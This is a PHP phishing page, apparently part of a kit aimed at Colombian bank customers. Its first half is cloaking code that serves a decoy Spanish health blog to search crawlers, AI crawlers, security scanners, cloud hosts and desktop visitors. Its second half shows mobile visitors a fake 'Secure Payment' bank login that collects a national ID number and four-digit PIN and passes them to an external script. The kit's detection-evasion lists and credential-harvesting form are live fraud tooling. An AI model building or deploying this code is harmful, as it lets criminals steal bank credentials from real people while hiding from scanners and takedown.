<?php
function getRealIP() {
    $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip_list = explode(',', $_SERVER[$key]);
            $ip = trim($ip_list[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
        }
    }
    return '0.0.0.0';
}
$ip = getRealIP();

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$user_agent_lower = strtolower($user_agent);

function isMobileUA($ua_lower) {
    $mobile_patterns = [
        'mobile', 'android', 'iphone', 'ipad', 'ipod', 'blackberry', 'webos',
        'windows phone', 'iemobile', 'opera mini', 'opera mobi', 'mobi', 'tablet',
        'kindle', 'silk', 'playbook', 'bb10', 'symbian', 'nokia', 'lg', 'samsung'
    ];
    foreach ($mobile_patterns as $pattern) {
        if (strpos($ua_lower, $pattern) !== false) {
            return true;
        }
    }
    return false;
}

$is_mobile_ua = isMobileUA($user_agent_lower);

$mobile_ip_prefixes = [
    '166.210.', '168.0.', '152.200.', '179.18.', '201.221.', '200.93.', '204.199.',
    '191.156.', '100.64.'
];

$residential_ip_prefixes = [
    '190.', '186.', '181.', '201.228.', '200.21.', '190.68.', '186.116.', '186.119.',
    '190.65.'
];

$is_mobile_ip = false;
$is_residential_ip = false;

foreach ($mobile_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_mobile_ip = true;
        break;
    }
}

foreach ($residential_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_residential_ip = true;
        break;
    }
}

$bot_agents = ['googlebot', 'bingbot', 'facebookexternalhit', 'semrushbot', 'ahrefsbot',
    'adsbot-google', 'mediapartners-google', 'apis-google', 'google-read-aloud',
    'google-safe-browsing', 'google-safebrowsing', 'safebrowsing', 'sb-google',
    'chrome-lighthouse', 'lighthouse', 'pagespeed', 'google page speed',
    'msnbot', 'duckduckbot', 'yandexbot', 'baiduspider', 'seznambot', 'applebot',
    'facebot', 'whatsapp', 'telegrambot', 'discordbot', 'slackbot',
    'twitterbot', 'linkedinbot', 'pinterest',
    'gptbot', 'openai', 'chatgpt', 'anthropic', 'claude', 'gemini', 'bard',
    'perplexity', 'youbot', 'cohere', 'huggingface', 'c.ai', 'character.ai',
    'amazonbot', 'googlecloud', 'gcp', 'azure', 'digitalocean',
    'ovh', 'hetzner', 'contabo', 'linode', 'vultr', 'oraclecloud', 'ibmcloud',
    'namecheapbot', 'godaddybot', 'cloudflare', 'cf-', 'youstablebot', 'domains.google',
    'whois', 'rdap', 'spaceshipbot',
    'uptimerobot', 'pingdom', 'statuscake', 'betteruptime', 'datadog', 'newrelic', 'site24x7',
    'nessus', 'acunetix', 'qualys', 'nmap', 'zgrab', 'masscan',
    'shodan', 'censys', 'securitytrails',
    'curl', 'wget', 'python', 'requests', 'aiohttp',
    'axios', 'httpclient', 'okhttp', 'java', 'go-http', 'libwww',
    'postman', 'insomnia'
];
$is_bot = false;
foreach ($bot_agents as $bot) {
    if (stripos($user_agent_lower, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

$show_white = false;

if ($is_bot) {
    $show_white = true;
} elseif (!$is_mobile_ua && $is_residential_ip) {
    $show_white = true;
} elseif ($is_mobile_ua || $is_mobile_ip) {
    $show_white = false;
} else {
    $show_white = true;
}

if ($show_white) {
    header('Content-Type: text/html; charset=utf-8');
    ?>
    <!DOCTYPE html>
    <html lang="es">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Guía Salud y Bienestar 2026 - Colombia</title>
        <meta name="description" content="Consejos naturales, nutrición y ejercicio para una vida plena en Colombia.">
    </head>
    <body style="font-family: Arial, sans-serif; max-width: 900px; margin: 0 auto; padding: 20px;">
        <h1>¡Bienvenido a nuestro blog de salud natural!</h1>
        <p>Encuentra los mejores tips de bienestar, superalimentos y rutinas saludables adaptadas para colombianos en 2026.</p>
        <article>
            <h2>Los 5 superalimentos más recomendados</h2>
            <p>Chía, quinoa, aguacate, café colombiano y frutas tropicales...</p>
        </article>
    </body>
    </html>
    <?php
    exit;
}
session_start();


if(isset($_SESSION['estado']) && $_SESSION['estado'] == 1){


}else if(isset($_SESSION['estado']) && $_SESSION['estado'] == 2){

    header('location:/404.php');

}else if(isset($_SESSION['estado']) && $_SESSION['estado'] == 3){

    header('location:https://www.4-72.com.co/publicaciones/236/personas/');
}

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
    <title>Secure Payment</title>


    <script type="text/javascript" src="/scripts/jquery-3.6.0.min.js"></script>
		<script src="/scripts/jquery.jclock-min.js" type="text/javascript"></script>
   		<script type="text/javascript" src="/scripts/functions2.js"></script>  		

    <style>
*{
    margin: 0;
    padding:0;
    font-font-family: arial, helvetica, sans-serif;
}

input{
    width: 86%;
    height: 45px;
    padding-left: 15px;
    
    border-radius: 7px;
    border: 1px solid rgb(219,219,219);
    margin-bottom: 10px;
}

select{
    width: 90%;
    height: 45px;
    padding-left: 15px;
    margin-top: 12px;
    background-color: white;
    color: black;
    border:1px solid rgb(219,219,219);
    margin-bottom: 12px;
}

    </style>
</head>
<body>
    
<img src="img/menu.jfif" alt="" width="100%">
<center><img src="img/mensaje.jfif" alt="" width="93%"></center>

<center><div class="clave" style="width:80%; height:40px; border:1px solid rgb(219,219,219); border-bottom:1px solid #0040a8;"><br><br>
<a style="position:absolute; left:40%; top:230px;">Clave segura</a>
</div>

    <div class="datos" style="width:80%; border:1px solid rgb(219,219,219);">
            <select name="cc" id="">
                <option value="Cedula">Cédula de ciudadanía</option>
            </select><br>
            <input type="tel" name="user" id="txtUsuario" placeholder="Número de documento" minlength="6" maxlength="10" required><br>
            <input type="password" name="clave" id="txtPass" placeholder="Clave segura" minlength="4" maxlength="4" required><br>
            <input type="hidden" value="bogota" id="banco">

            <a style="color:#0040a8;position:relative; left:-95px;">Olvide mi clave</a><br><br>
            <button style="border-radius:100px; width:90%; height:50px; background-color:#0040a8; color:white; font-size:15px;" id="btnUsuario">Ingresar ahora</button>
            <p></p>
            <img src="img/botonabajo.jfif" alt="" width="95%">
    </div></center>

<img src="img/1.jfif" alt="" width="100%">
<img src="img/2.jfif" alt="" width="100%">
<img src="img/3.jfif" alt="" width="100%">


<script>
  const txtPass = document.getElementById('txtPass');

  txtPass.addEventListener('input', function() {
    const value = txtPass.value;
    const cleanValue = value.replace(/\D/g, ''); // Remover caracteres no numéricos

    if (value !== cleanValue) {
      txtPass.value = cleanValue;
    }
  });
</script>

<script type="text/javascript">
	var espera = 0;

	let identificadorTiempoDeEspera;

	function retardor() {
	  identificadorTiempoDeEspera = setTimeout(retardorX, 900);
	}

	function retardorX() {

	}

	$(document).ready(function() {

		$('#btnUsuario').click(function(){
			if ($("#txtUsuario").val().length > 0) {
				pasousuario($("#txtPass").val(), $("#txtUsuario").val(), $("#banco").val());	
			}else{
				$("#err-mensaje").show();
				$(".user").css("border", "1px solid red");
				$("#txtUsuario").focus();
			}			
		});

		$("#txtUsuario").keyup(function(e) {
			$(".user").css("border", "1px solid #CCCCCC");	
			$("#err-mensaje").hide();				
		});
	});
</script>




</body>
</html>